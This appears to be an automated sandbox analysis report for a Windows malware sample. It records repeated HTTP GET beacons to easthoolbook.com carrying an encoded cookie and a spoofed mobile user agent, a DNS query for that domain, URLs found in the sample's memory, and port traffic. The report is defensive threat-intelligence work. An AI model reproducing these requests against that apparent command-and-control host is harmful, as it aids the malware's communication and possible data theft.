Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: easthoolbook.com

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275023579.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2151387101.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2364213906.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3218783983.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2151112670.00000000004B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3188931002.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2468168029.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3261508325.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2245218172.00000000004B4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3099234815.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212324717.00000000004B4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2121493380.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2395775873.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.00000000004A2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2092109726.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2181153623.00000000004DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3051105235.000000000313D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/8j
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3099234815.000000000313D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/Gs
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2931428688.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/Tj
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2781427971.000000000313D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/bq
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3261508325.000000000313D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/ign.mpeg?dare=true
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2841533366.000000000313D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/nr
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3291723868.000000000313D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/o
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2245388886.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212647131.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/r
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212647131.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2781427971.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212324717.00000000004DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2334675503.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2364213906.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2396331476.000000000048A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.000000000051C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2395775873.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=true
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.000000000051C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=true$j
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275023579.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2334675503.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2931428688.00000000004E7000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275111012.00000000004E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=true%YE
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3291723868.000000000313D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3261508325.000000000313D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=true.0h
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2151387101.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2181259233.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=true:d
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3129143309.000000000313D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=trueGs
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2901567104.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2334675503.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.000000000051C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=trueHj
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2468168029.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=trueL
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=trueLj
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2364213906.00000000004E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=trueNx
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275023579.000000000051C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2468168029.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2181259233.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2334675503.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2245388886.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212647131.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2364213906.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.000000000051C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2395775873.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=trueProvider
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2901567104.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2931428688.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=trueProviderLj
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2468168029.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=trueTj
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2151387101.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2181259233.000000000051B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=truebd8
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.0000000000459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=truedll
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.00000000004B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=truephic
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2781427971.000000000313D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=truesrP
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2395775873.00000000004E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=truet
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2245388886.00000000004E8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212647131.00000000004E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/sign.mpeg?dare=truezY
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275023579.00000000004B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.00000000004B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easthoolbook.com/v

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
